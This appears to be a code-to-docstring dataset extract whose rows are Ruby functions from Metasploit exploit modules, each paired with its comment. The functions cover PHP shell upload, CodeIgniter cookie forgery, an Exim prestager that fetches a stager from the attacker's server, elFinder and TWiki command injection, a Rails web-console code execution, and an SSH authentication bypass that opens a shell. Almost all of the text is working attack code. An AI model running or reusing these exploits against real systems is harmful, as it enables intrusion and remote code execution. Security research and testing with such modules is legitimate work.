code
stringlengths
26
124k
docstring
stringlengths
23
125k
func_name
stringlengths
1
98
language
stringclasses
1 value
repo
stringlengths
5
53
path
stringlengths
7
151
url
stringlengths
50
211
license
stringclasses
7 values
def upload(base, file, cookies) data = Rex::MIME::Message.new data.add_part(file, 'application/octet-stream', nil, "form-data; name=\"file\"; filename=\"#{@fname}\"") data.add_part("Go", nil, nil, 'form-data; name="go"') data.add_part("images", nil, nil, 'form-data; name="directory"') data.add_part("1", nil, nil, 'form-data; name="upload_file"') data_post = data.to_s data_post = data_post.gsub(/^\r\n\-\-\_Part\_/, '--_Part_') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(base, 'index.php'), 'cookie' => cookies, 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'vars_get' => { 'sec' => 'gsetup', 'sec2' => 'godmode/setup/file_manager', }, 'data' => data_post }) register_files_for_cleanup(@fname) return res end
upload a payload using the pandora built-in file upload
upload
ruby
hahwul/mad-metasploit
archive/exploits/php/remote/35731.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/php/remote/35731.rb
MIT
def set_string(php_object, name, value) prefix = "s:#{name.length}:\"#{name}\";s:" if php_object.include?(prefix) # the value already exists in the php blob, so update it. return php_object.gsub("#{prefix}\\d+:\"[^\"]*\"", "#{prefix}#{value.length}:\"#{value}\"") end # the value doesn't exist in the php blob, so create it. count = php_object.split(':')[1].to_i + 1 php_object.gsub(/a:\d+(.*)}$/, "a:#{count}\\1#{prefix}#{value.length}:\"#{value}\";}") end
Write a string value to a serialized PHP object without deserializing it first. If the value exists it will be updated.
set_string
ruby
hahwul/mad-metasploit
archive/exploits/php/remote/36264.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/php/remote/36264.rb
MIT
def decode_cookie(cookie_content) cookie_value = Rex::Text.decode_base64(URI.decode(cookie_content)) pass = xor(cookie_value, datastore['XORKEY']) result = '' (0...pass.length).step(2).each do |i| result << (pass[i].ord ^ pass[i + 1].ord).chr end result end
Take a CodeIgnitor cookie and pull out the PHP object using the XOR key that we've been given.
decode_cookie
ruby
hahwul/mad-metasploit
archive/exploits/php/remote/36264.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/php/remote/36264.rb
MIT
def encode_cookie(cookie_value) rand = Rex::Text.sha1(rand_text_alphanumeric(40)) block = '' (0...cookie_value.length).each do |i| block << rand[i % rand.length] block << (rand[i % rand.length].ord ^ cookie_value[i].ord).chr end cookie_value = xor(block, datastore['XORKEY']) cookie_value = CGI.escape(Rex::Text.encode_base64(cookie_value)) vprint_status("Cookie value: #{cookie_value}") cookie_value end
Take a serialised PHP object cookie value and encode it so that CodeIgniter thinks it's legit.
encode_cookie
ruby
hahwul/mad-metasploit
archive/exploits/php/remote/36264.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/php/remote/36264.rb
MIT
def xor(string, key) result = '' string.bytes.zip(key.bytes.cycle).each do |s, k| result << (s ^ k) end result end
XOR a value against a key. The key is cycled.
xor
ruby
hahwul/mad-metasploit
archive/exploits/php/remote/36264.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/php/remote/36264.rb
MIT
def xml_encode(str) str.gsub(/</, '<').gsub(/>/, '>') end
Simple XML substitution because the target XML handler isn't really full blown or smart.
xml_encode
ruby
hahwul/mad-metasploit
archive/exploits/php/remote/36264.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/php/remote/36264.rb
MIT
def generate_prestager prestager = [] # This is basically sh -c `wget` implemented using Exim string expansions # Badchars we can't encode away: \ for \n (newline) and : outside strings prestager << '/bin/sh -c ${run{/bin/echo}{${extract{-1}{$value}' \ "{${readsocket{inet:#{srvhost_addr}:#{srvport}}" \ "{get #{get_resource} http/1.0$value$value}}}}}}" # CmdStager should rm the file, but it blocks on the payload, so we do it prestager << "/bin/rm -f #{cmdstager_path}" end
Exploit methods Absolute paths are required for prestager commands due to execve(2)
generate_prestager
ruby
hahwul/mad-metasploit
archive/exploits/php/remote/42024.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/php/remote/42024.rb
MIT
def encode_exim_payload(command) command.gsub(/[\/ :]/, '/' => '${substr{0}{1}{$spool_directory}}', ' ' => '${substr{10}{1}{$tod_log}}', ':' => '${substr{13}{1}{$tod_log}}' ) end
We can encode away the following badchars using string expansions
encode_exim_payload
ruby
hahwul/mad-metasploit
archive/exploits/php/remote/42024.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/php/remote/42024.rb
MIT
def on_request_uri(cli, request) if @cmdstager print_good("Sending #{@cmdstager}") send_response(cli, @cmdstager) @cmdstager = nil else print_good("Sending payload #{datastore['PAYLOAD']}") super end end
Override methods Return CmdStager on first request, payload on second
on_request_uri
ruby
hahwul/mad-metasploit
archive/exploits/php/remote/42024.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/php/remote/42024.rb
MIT
def exploit cookies = login # Agian CSRF token. res = send_request_cgi({ 'uri' => normalize_uri(uri, 'index.php'), 'method' => 'GET', 'cookie' => cookies, 'vars_get' => Hash[{ 'app' => 'main', 'inc' => 'feature_phonebook', 'route' => 'import', 'op' => 'list', }.to_a.shuffle] }) fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil? # Grabbing CSRF token from body /name="X-CSRF-Token" value="(?<csrf>[a-z0-9"]+)">/ =~ res.body fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil? vprint_good("X-CSRF-Token for upload : #{csrf}") # Payload. evil = "<?php $t=$_SERVER['HTTP_USER_AGENT']; eval($t); ?>" #making csv file body final_csv = "Name,Email,Department\n" final_csv << "#{evil},#{rand(1..100)},#{rand(1..100)}" # setup POST request. post_data = Rex::MIME::Message.new post_data.add_part(csrf, content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="X-CSRF-Token"') # CSRF token post_data.add_part(final_csv, content_type = 'text/csv', transfer_encoding = nil, content_disposition = 'form-data; name="fnpb"; filename="agent22.csv"') #payload data = post_data.to_s vprint_status('Trying to upload malicious CSV file ....') # Lets Send Upload request. res = send_request_cgi({ 'uri' => normalize_uri(uri, 'index.php'), 'method' => 'POST', 'agent' => payload.encode, 'cookie' => cookies, 'vars_get' => Hash[{ 'app' => 'main', 'inc' => 'feature_phonebook', 'route' => 'import', 'op' => 'import', }.to_a.shuffle], 'headers' => { 'Upgrade-Insecure-Requests' => '1', }, 'Connection' => 'close', 'data' => data, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", }) end
Tested successfully on Dina: 1.0.1 machine on vulnhub. Link : https://www.vulnhub.com/entry/dina-101,200/
exploit
ruby
hahwul/mad-metasploit
archive/exploits/php/remote/44598.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/php/remote/44598.rb
MIT
def upload_paths %w[ /server/php/index.php /server/php/upload.class.php /server/php/UploadHandler.php /example/upload.php /php/index.php ].map { |u| normalize_uri(target_uri.path, u) } end
List from PoC sorted by frequency
upload_paths
ruby
hahwul/mad-metasploit
archive/exploits/php/remote/45790.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/php/remote/45790.rb
MIT
def check uri = normalize_uri(target_uri.path, 'php', 'connector.minimal.php') res = send_request_cgi('uri' => uri) unless res vprint_error 'Connection failed' return CheckCode::Unknown end unless res.code == 200 vprint_status "#{uri} does not exist" return CheckCode::Safe end if res.body.include? '<?php' vprint_status 'PHP is not enabled' return CheckCode::Safe end CheckCode::Detected end
Check if /php/connector.minimal.php exists and is executable
check
ruby
hahwul/mad-metasploit
archive/exploits/php/remote/46539.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/php/remote/46539.rb
MIT
def trigger(hash) print_status 'Triggering vulnerability via image rotation ...' res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'php', 'connector.minimal.php'), 'vars_get' => { 'target' => hash, 'degree' => '180', 'mode' => 'rotate', 'cmd' => 'resize' } }, 5) unless res fail_with Failure::Unreachable, 'Connection failed' end if res.body.include?('"error"') || res.body.include?('"warning"') fail_with Failure::UnexpectedReply, "Image rotate failed: #{res.body}" end end
Trigger the command injection via image rotation functionality Rotates image by 180 degrees to trigger `exiftran` code path
trigger
ruby
hahwul/mad-metasploit
archive/exploits/php/remote/46539.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/php/remote/46539.rb
MIT
def initialize(info = {}) super(update_info(info, 'Name' => 'PHP XML-RPC Arbitrary Code Execution', 'Description' => %q{ This module exploits an arbitrary code execution flaw discovered in many implementations of the PHP XML-RPC module. This flaw is exploitable through a number of PHP web applications, including but not limited to Drupal, Wordpress, Postnuke, and TikiWiki. }, 'Author' => [ 'hdm', 'cazz' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9929 $', 'References' => [ ['CVE', '2005-1921'], ['OSVDB', '17793'], ['BID', '14088'], ], 'Privileged' => false, 'Platform' => ['unix', 'solaris'], 'Payload' => { 'Space' => 512, 'DisableNops' => true, 'Keys' => ['cmd', 'cmd_bash'], }, 'Targets' => [ ['Automatic', { }], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jun 29 2005' )) register_options( [ OptString.new('PATH', [ true, "Path to xmlrpc.php", '/xmlrpc.php']), ], self.class) deregister_options( 'HTTP::junk_params', # not your typical POST, so don't inject params. 'HTTP::junk_slashes' # For some reason junk_slashes doesn't always work, so turn that off for now. ) end
XXX This module needs an overhaul
initialize
ruby
hahwul/mad-metasploit
archive/exploits/php/webapps/16882.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/php/webapps/16882.rb
MIT
def check test_file = rand_text_alphanumeric(8+rand(8)) cmd_base = datastore['URI'] + '/view/Main/TWikiUsers?rev=' test_url = datastore['URI'] + '/' + test_file # first see if it already exists (it really shouldn't) res = send_request_raw({ 'uri' => test_url }, 25) if (not res) or (res.code != 404) print_error("WARNING: The test file exists already!") return Exploit::CheckCode::Safe end # try to create it print_status("Attempting to create #{test_url} ...") rev = rand_text_numeric(1+rand(5)) + ' `touch ' + test_file + '`#' res = send_request_raw({ 'uri' => cmd_base + Rex::Text.uri_encode(rev) }, 25) if (not res) or (res.code != 200) return Exploit::CheckCode::Safe end # try to run it, 500 code == successfully made it res = send_request_raw({ 'uri' => test_url }, 25) if (not res) or (res.code != 500) return Exploit::CheckCode::Safe end # delete the tmp file print_status("Attempting to delete #{test_url} ...") rev = rand_text_numeric(1+rand(5)) + ' `rm -f ' + test_file + '`#' res = send_request_raw({ 'uri' => cmd_base + Rex::Text.uri_encode(rev) }, 25) if (not res) or (res.code != 200) print_error("WARNING: unable to remove test file (#{test_file})") end return Exploit::CheckCode::Vulnerable end
NOTE: This is not perfect, since it requires write access to the bin directory. Unfortunately, detrmining the main directory isn't trivial, or otherwise I would write there (required to be writable per installation steps).
check
ruby
hahwul/mad-metasploit
archive/exploits/php/webapps/16892.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/php/webapps/16892.rb
MIT
def initialize(info = {}) super(update_info(info, 'Name' => 'vBulletin misc.php Template Name Arbitrary Code Execution', 'Description' => %q{ This module exploits an arbitrary PHP code execution flaw in the vBulletin web forum software. This vulnerability is only present when the "Add Template Name in HTML Comments" option is enabled. All versions of vBulletin prior to 3.0.7 are affected. }, 'Author' => [ 'str0ke <str0ke[at]milw0rm.com>', 'cazz' ], 'License' => BSD_LICENSE, 'Version' => '$Revision: 9929 $', 'References' => [ [ 'CVE', '2005-0511' ], [ 'BID', '12622' ], [ 'OSVDB', '14047' ], ], 'Privileged' => false, 'Platform' => ['unix', 'solaris'], 'Payload' => { 'Space' => 512, 'DisableNops' => true, 'Keys' => ['cmd', 'cmd_bash'], }, 'Targets' => [ ['Automatic', { }], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Feb 25 2005' )) register_options( [ OptString.new('PATH', [ true, "Path to misc.php", '/forum/misc.php']), ], self.class) deregister_options( 'HTTP::junk_slashes' # For some reason junk_slashes doesn't always work, so turn that off for now. ) end
XXX This module needs an overhaul
initialize
ruby
hahwul/mad-metasploit
archive/exploits/php/webapps/16896.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/php/webapps/16896.rb
MIT
def build_uri(f_val) uri = '' uri << datastore['URI'] uri << "/tiki-graph_formula.php?" # Requirements: query = '' # 1. w,h,s,min,max must all be numeric vars = %w{ w h s min max } min = nil vars.each { |el| query << "&" if query.length > 0 num = 1+rand(999) # 2. min must be less than max case el when 's' num = 1+rand(500) when 'min' if (min) num = min else min = num end when 'max' min ||= num num = min + 1 + rand(99) end query << "#{el}=#{num}" } # 3. cannot use `, ', ", or space if (f_val.index('\'') or f_val.index('"') or f_val.index('`') or f_val.index(' ')) raise RuntimeError, "The value for the 'f' variable contains an invalid character!" end # 4. the function must be one of: valid = %w{ abs acos acosh asin asinh atan2 atan atanh ceil cos cosh deg2rad exp expm1 floor fmod hypot log10 log1p log max min pi pow rad2deg round sin sinh sqrt tan tanh } func = valid[rand(valid.length)] # 5. f must be an array query << "&" if query.length > 0 # Strip off the semi-colon that the encoder insists on including. if f_val[-1,1] == ";" f_val = f_val[0,f_val.length-1] end query << "f[]=x.#{func}.#{f_val}" # This doesn't seem to be necessary on PHP 5.2.4, tikiwiki 1.9.5 # Tested with php/reverse_php, php/meterpreter_reverse_tcp, and # php/meterpreter/reverse_tcp # -egypt # If we dont kill php here it spins eating 100% cpu :-/ #query << '.die()' # 6. two options for 't' - png and pdf # - png requires php's gd extension # - pdf, if you set 'p', requires php pdf extension # -- we always use 'pdf' with a null 'p' query << "&" if query.length > 0 query << 't=pdf' # 7. title must be set query << '&title=' uri << query uri end
This function will build a fairly randomish query string to be used when exploiting this vulnerability :)
build_uri
ruby
hahwul/mad-metasploit
archive/exploits/php/webapps/16911.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/php/webapps/16911.rb
MIT
def get_cookie res = send_request_raw({ 'method' => 'GET', 'uri' => "#{@base}wikka.php" }) # Get the cookie in this format: # 96522b217a86eca82f6d72ef88c4c7f4=pr5sfcofh5848vnc2sm912ean2; path=/wikka if res and res.headers['Set-Cookie'] cookie = res.headers['Set-Cookie'].scan(/(\w+\=\w+); path\=.+$/).flatten[0] else raise RuntimeError, "#{@peer} - No cookie found, will not continue" end cookie end
Get the cookie before we do any of that login/exploity stuff
get_cookie
ruby
hahwul/mad-metasploit
archive/exploits/php/webapps/18865.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/php/webapps/18865.rb
MIT
def login(cookie) # Send a request to the login page so we can obtain some hidden values needed for login uri = "#{@base}wikka.php?wakka=UserSettings" res = send_request_raw({ 'method' => 'GET', 'uri' => uri, 'cookie' => cookie }) # Extract the hidden fields login = {} if res and res.body =~ /\<div id\=\"content\"\>.+\<fieldset class\=\"hidden\"\>(.+)\<\/fieldset\>.+\<legend\>Login\/Register\<\/legend\>/m fields = $1.scan(/\<input type\=\"hidden\" name\=\"(\w+)\" value\=\"(\w+)\" \/>/) fields.each do |name, value| login[name] = value end else raise RuntimeError, "#{@peer} - Unable to find the hidden fieldset required for login" end # Add the rest of fields required for login login['action'] = 'login' login['name'] = datastore['USERNAME'] login['password'] = datastore['PASSWORD'] login['do_redirect'] = 'on' login['submit'] = "Login" login['confpassword'] = '' login['email'] = '' port = (rport.to_i == 80) ? "" : ":#{rport}" res = send_request_cgi({ 'method' => 'POST', 'uri' => uri, 'cookie' => cookie, 'headers' => { 'Referer' => "http://#{rhost}#{port}#{uri}" }, 'vars_post' => login }) if res and res.headers['Set-Cookie'] =~ /user_name/ user = res.headers['Set-Cookie'].scan(/(user_name\@\w+=\w+);/)[0] || "" pass = res.headers['Set-Cookie'].scan(/(pass\@\w+=\w+)/)[0] || "" cookie_cred = "#{cookie}; #{user}; #{pass}" else cred = "#{datastore['USERNAME']}:#{datastore['PASSWORD']}" raise RuntimeError, "#{@peer} - Unable to login with \"#{cred}\"" end return cookie_cred end
Do login, and then return the cookie that contains our credential
login
ruby
hahwul/mad-metasploit
archive/exploits/php/webapps/18865.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/php/webapps/18865.rb
MIT
def inject_exec(cookie) # Get the necessary fields in order to post a comment res = send_request_raw({ 'method' => 'GET', 'uri' => "#{@base}wikka.php?wakka=#{datastore['PAGE']}&show_comments=1", 'cookie' => cookie }) fields = {} if res and res.body =~ /\<form action\=.+processcomment.+\<fieldset class\=\"hidden\"\>(.+)\<\/fieldset\>/m $1.scan(/\<input type\=\"hidden\" name\=\"(\w+)\" value\=\"(.+)\" \/>/).each do |n, v| fields[n] = v end else raise RuntimeError, "#{@peer} - Cannot get necessary fields before posting a comment" end # Generate enough URLs to trigger spam logging urls = '' 10.times do |i| urls << "http://www.#{rand_text_alpha_lower(rand(10)+6)}.#{['com', 'org', 'us', 'info'].sample}\n" end # Add more fields fields['body'] = urls fields['submit'] = 'Add' # Inject payload b64_payload = Rex::Text.encode_base64(payload.encoded) port = (rport.to_i == 80) ? "" : ":#{rport}" uri = "#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment" post_data = "" send_request_cgi({ 'method' => 'POST', 'uri' => "#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment", 'cookie' => cookie, 'headers' => { 'Referer' => "http://#{rhost}:#{port}/#{uri}" }, 'vars_post' => fields, 'agent' => "<?php #{payload.encoded} ?>" }) send_request_raw({ 'method' => 'GET', 'uri' => "#{@base}spamlog.txt.php" }) end
After login, we inject the PHP payload
inject_exec
ruby
hahwul/mad-metasploit
archive/exploits/php/webapps/18865.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/php/webapps/18865.rb
MIT
def login(base, username, password) # Get cookie: PHPVolunteerManagent res = send_request_raw({ 'method' => 'GET', 'uri' => "#{base}index.php" }) # If we don't get a cookie, bail! if res and res.headers['Set-Cookie'] =~ /(PHPVolunteerManagent=\w+);*/ cookie = $1 vprint_status("#{@peer} - Found cookie: #{cookie}") else return nil end # Find the location for login login_location = res.headers['Location'] || '?p=login' # And then login! res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{base}index.php#{login_location}", 'cookie' => cookie, 'vars_post' => { 'volunteer_email' => username, 'volunteer_password' => password, 'submit' => 'Login!' } }) # If the app wants to redirect us to the dashboard, we # assume the login was successful if res and res.headers['Location'] =~ /\?p\=dashboard/ return cookie else return nil end end
Login to the web application. When you send the very first request to the app, you're assigned with a cookie called 'PHPVolunteerManagent'. This is something you must keep, because after authentication, that same cookie becomes your auth token.
login
ruby
hahwul/mad-metasploit
archive/exploits/php/webapps/18957.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/php/webapps/18957.rb
MIT
def upload(base, cookie, fname, file, description) boundary = "----WebKitFormBoundary#{rand_text_alpha(10)}" endpoint = "#{rhost}" endpoint << ":#{rport}" if rport.to_i != 80 data_post = "--#{boundary}\r\n" data_post << "Content-Disposition: form-data; name=\"file\"; filename=\"#{fname}\"\r\n" data_post << "Content-Type: text/php\r\n" data_post << "\r\n" data_post << file data_post << "\r\n" data_post << "--#{boundary}\r\n" data_post << "Content-Disposition: form-data; name=\"description\"\r\n" data_post << "\r\n" data_post << description data_post << "\r\n" data_post << "--#{boundary}\r\n" data_post << "Content-Disposition: form-data; name=\"submit\"\r\n" data_post << "\r\n" data_post << "Submit" data_post << "\r\n" data_post << "--#{boundary}--\r\n" res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{base}index.php?p=upload_personal_document", 'cookie' => cookie, 'ctype' => "multipart/form-data; boundary=#{boundary}", 'data' => data_post, 'headers' => { 'Referer' => "http://#{endpoint}#{base}index.php?p=upload_personal_document" } }) return res end
Upload the payload as a personal document. This will save the file in: mods/documents/uploads/ And then we return the HTTP response, which should contain some message indicating whether we successfully uploaded the file, or not.
upload
ruby
hahwul/mad-metasploit
archive/exploits/php/webapps/18957.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/php/webapps/18957.rb
MIT
def get_my_file(before, after) r = /\<td\>\<a href\=\"(\d{4}\-\d{2}\-\d{2}\_\d+\-\d+\-\d+\_\d+\.\w+)">\d{4}\-\d{2}\-\d{2}\_\d+\-\d+\-\d+\_\d+\.\w+\<\/a\>\<\/td\>/ b = (before.scan(r) || []).flatten a = (after.scan(r) || []).flatten # Return all the new uploads return a - b end
Find all the new files from the 'uploads' directory. This trick is necessary, because when we upload a file, our filename is renamed to something else with a timestamp. Since we cannot reliability guess what the filename is going to be, we can at least compare both before/after snapshots to figure it out.
get_my_file
ruby
hahwul/mad-metasploit
archive/exploits/php/webapps/18957.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/php/webapps/18957.rb
MIT
def peek_uploads(base, cookie) res = send_request_raw({ 'method' => 'GET', 'uri' => "#{base}mods/documents/uploads/", 'cookie' => cookie }) return res end
This function will return the raw HTTP response like a snapshot, which later can be used for comparision.
peek_uploads
ruby
hahwul/mad-metasploit
archive/exploits/php/webapps/18957.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/php/webapps/18957.rb
MIT
def exploit base = target_uri.path base << '/' if base[-1, 1] != '/' @peer = "#{rhost}:#{rport}" # Login username = datastore['USERNAME'] password = datastore['PASSWORD'] cookie = login(base, username, password) if cookie.nil? print_error("#{@peer} - Login failed with \"#{username}:#{password}\"") return end print_status("#{@peer} - Login successful with #{username}:#{password}") # Take a snapshot of the uploads directory # Viewing this doesn't actually require the user to login first, # but we supply the cookie anyway to act more like a real user. print_status("#{@peer} - Enumerating all the uploads...") before = peek_uploads(base, cookie) if before.nil? print_error("#{@peer} - Unable to enumerate original uploads") return end # Upload our PHP shell print_status("#{@peer} - Uploading PHP payload (#{payload.encoded.length.to_s} bytes)") fname = rand_text_alpha(rand(10)+6) + '.php' desc = rand_text_alpha(rand(10)+5) php = %Q|<?php #{payload.encoded} ?>| res = upload(base, cookie, fname, php, desc) if res.nil? or res.body !~ /The file was successfuly uploaded/ print_error("#{@peer} - Failed to upload our file") return end # Now that we've uploaded our shell, let's take another snapshot # of the uploads directory. print_status("#{@peer} - Enumerating new uploads...") after = peek_uploads(base, cookie) if after.nil? print_error("#{@peer} - Unable to enumerate latest uploads") return end # Find the filename of our uploaded shell files = get_my_file(before.body, after.body) if files.empty? print_error("#{@peer} - No new file(s) found. The upload probably failed.") return else vprint_status("#{@peer} - Found these new files: #{files.inspect}") end # There might be more than 1 new file, at least execute the first 10 # just to make sure. Don't want to try too many either. counter = 0 files.each do |f| counter += 1 break if counter > 10 print_status("Trying file: #{f}") send_request_raw({ 'method' => 'GET', 'uri' => "#{base}mods/documents/uploads/#{f}", 'cookie' => cookie }) end handler end
The exploit function does exploity things
exploit
ruby
hahwul/mad-metasploit
archive/exploits/php/webapps/18957.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/php/webapps/18957.rb
MIT
def auth_bypass json = { 'iwp_action' => %w[add_site readd_site].sample, 'params' => {'username' => username} }.to_json res = send_request_cgi( 'method' => 'POST', 'uri' => wordpress_url_backend, 'data' => "_IWP_JSON_PREFIX_#{Rex::Text.encode_base64(json)}" ) unless res && res.code == 200 && !(cookie = res.get_cookies).empty? fail_with(Failure::NoAccess, "Could not obtain cookie for #{username}") end print_good("Successfully obtained cookie for #{username}") vprint_status("Cookie: #{cookie}") cookie end
https://plugins.trac.wordpress.org/browser/iwp-client/tags/1.9.4.4/init.php
auth_bypass
ruby
hahwul/mad-metasploit
archive/exploits/php/webapps/48047.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/php/webapps/48047.rb
MIT
def get_path(sha1) sha1[0...2] + '/' + sha1[2..40] end
Returns the Git object path name that a file with the provided SHA1 will reside in
get_path
ruby
hahwul/mad-metasploit
archive/exploits/python/remote/42599.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/python/remote/42599.rb
MIT
def on_request_uri(cli, req) # if the URI is one of our repositories and the user-agent is that of git/mercurial # send back the appropriate data, otherwise just show the HTML version user_agent = req.headers['User-Agent'] if user_agent && user_agent =~ /^git\// && req.uri.start_with?(git_uri) do_git(cli, req) return end do_html(cli, req) end
handles routing any request to the mock git, mercurial or simple HTML as necessary
on_request_uri
ruby
hahwul/mad-metasploit
archive/exploits/python/remote/42599.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/python/remote/42599.rb
MIT
def do_html(cli, _req) resp = create_response resp.body = <<HTML <html> <head><title>Public Repositories</title></head> <body> <p>Here are our public repositories:</p> <ul> HTML this_git_uri = URI.parse(get_uri).merge(git_uri) resp.body << "<li><a href=#{git_uri}>Git</a> (clone with `git clone #{this_git_uri}`)</li>" resp.body << <<HTML </ul> </body> </html> HTML cli.send_response(resp) end
simulates an HTTP server with simple HTML content that lists the fake repositories available for cloning
do_html
ruby
hahwul/mad-metasploit
archive/exploits/python/remote/42599.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/python/remote/42599.rb
MIT
def git_uri return @git_uri if @git_uri if datastore['GIT_URI'].blank? @git_uri = '/' + Rex::Text.rand_text_alpha(rand(10) + 2).downcase + '.git' else @git_uri = datastore['GIT_URI'] end end
Returns the value of GIT_URI if not blank, otherwise returns a random .git URI
git_uri
ruby
hahwul/mad-metasploit
archive/exploits/python/remote/42599.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/python/remote/42599.rb
MIT
def exploit res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path), 'method' => 'GET' }, 25) unless res print_error("Error: No response requesting #{datastore['TARGETURI']}") return end unless res.body.to_s =~ /data-mount-point='([^']+)'/ if res.body.to_s.index('Application Trace') && res.body.to_s.index('Toggle session dump') print_error('Error: The web console is either disabled or you are not in the whitelisted scope') else print_error("Error: No rails stack trace found requesting #{datastore['TARGETURI']}") end return end console_path = normalize_uri($1, 'repl_sessions') unless res.body.to_s =~ /data-session-id='([^']+)'/ print_error("Error: No session id found requesting #{datastore['TARGETURI']}") return end session_id = $1 print_status("Sending payload to #{console_path}/#{session_id}") res = send_request_cgi({ 'uri' => normalize_uri(console_path, session_id), 'method' => 'PUT', 'headers' => { 'Accept' => 'application/vnd.web-console.v2', 'X-Requested-With' => 'XMLHttpRequest' }, 'vars_post' => { 'input' => payload.encoded } }, 25) end
Identify the web console path and session ID, then inject code with it
exploit
ruby
hahwul/mad-metasploit
archive/exploits/ruby/remote/39792.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/ruby/remote/39792.rb
MIT
def is_43bsd? cmd_exec('strings /vmunix | grep UNIX').include?('4.3 BSD') end
uname(1) does not exist, technique from /etc/rc.local
is_43bsd?
ruby
hahwul/mad-metasploit
archive/exploits/unix/local/45953.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/unix/local/45953.rb
MIT
def blowfish_encrypt(pass, data) # Forces 8-bit encoding pass = pass.unpack("C*").pack("C*") data = data.unpack("C*").pack("C*") # Use 448-bit keys with 8-byte IV key_len = 56 iv_len = 8 # Expand the key with MD5 (key-generated-key mode) hash = OpenSSL::Digest::MD5.digest(pass) while (hash.length < key_len) hash << OpenSSL::Digest::MD5.digest(hash) end key = hash[0, key_len] iv = Rex::Text.rand_text(iv_len) c = OpenSSL::Cipher::Cipher.new('bf-cbc') c.encrypt c.key_len = key_len c.key = key c.iv = iv "RandomIV" + iv + c.update(data) + c.final end
This implements blowfish-cbc with an MD5-expanded 448-bit key using RandomIV for the initial value.
blowfish_encrypt
ruby
hahwul/mad-metasploit
archive/exploits/unix/remote/16964.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/unix/remote/16964.rb
MIT
def auth_keyboard_interactive(user, transport) print_status("#{rhost}:#{rport} - Going through keyboard-interactive auth...") auth_req_pkt = Net::SSH::Buffer.from( :byte, 0x32, #userauth request :string, user, #username :string, "ssh-connection", #service :string, "keyboard-interactive", #method name :string, "", #lang :string, "" ) user_auth_pkt = Net::SSH::Buffer.from( :byte, 0x3D, #userauth info :raw, 0x01, #number of prompts :string, "", #password :raw, "\0"*32 #padding ) transport.send_message(auth_req_pkt) message = transport.next_message vprint_status("#{rhost}:#{rport} - Authentication to continue: keyboard-interactive") message = transport.next_message vprint_status("#{rhost}:#{rport} - Password prompt: #{message.inspect}") # USERAUTH INFO transport.send_message(user_auth_pkt) message = transport.next_message vprint_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}") 2.times do |i| #USRAUTH REQ transport.send_message(auth_req_pkt) message = transport.next_message vprint_status("#{rhost}:#{rport} - Password prompt: #{message.inspect}") # USERAUTH INFO transport.send_message(user_auth_pkt) message = transport.next_message vprint_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}") end end
This is where the login begins. We're expected to use the keyboard-interactive method to authenticate, but really all we want is skipping it so we can move on to the password method authentication.
auth_keyboard_interactive
ruby
hahwul/mad-metasploit
archive/exploits/unix/remote/23156.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/unix/remote/23156.rb
MIT
def userauth_passwd_change(user, transport, connection) print_status("#{rhost}:#{rport} - Sending USERAUTH Change request...") pkt = Net::SSH::Buffer.from( :byte, 0x32, #userauth request :string, user, #username :string, "ssh-connection", #service :string, "password" #method name ) pkt.write_bool(true) pkt.write_string("") #Old pass pkt.write_string("") #New pass transport.send_message(pkt) message = transport.next_message.type vprint_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}") if message.to_i == 52 #SSH2_MSG_USERAUTH_SUCCESS transport.send_message(transport.service_request("ssh-userauth")) message = transport.next_message.type if message.to_i == 6 #SSH2_MSG_SERVICE_ACCEPT shell = Net::SSH::CommandStream.new(connection, '/bin/sh', true) connection = nil return shell end end end
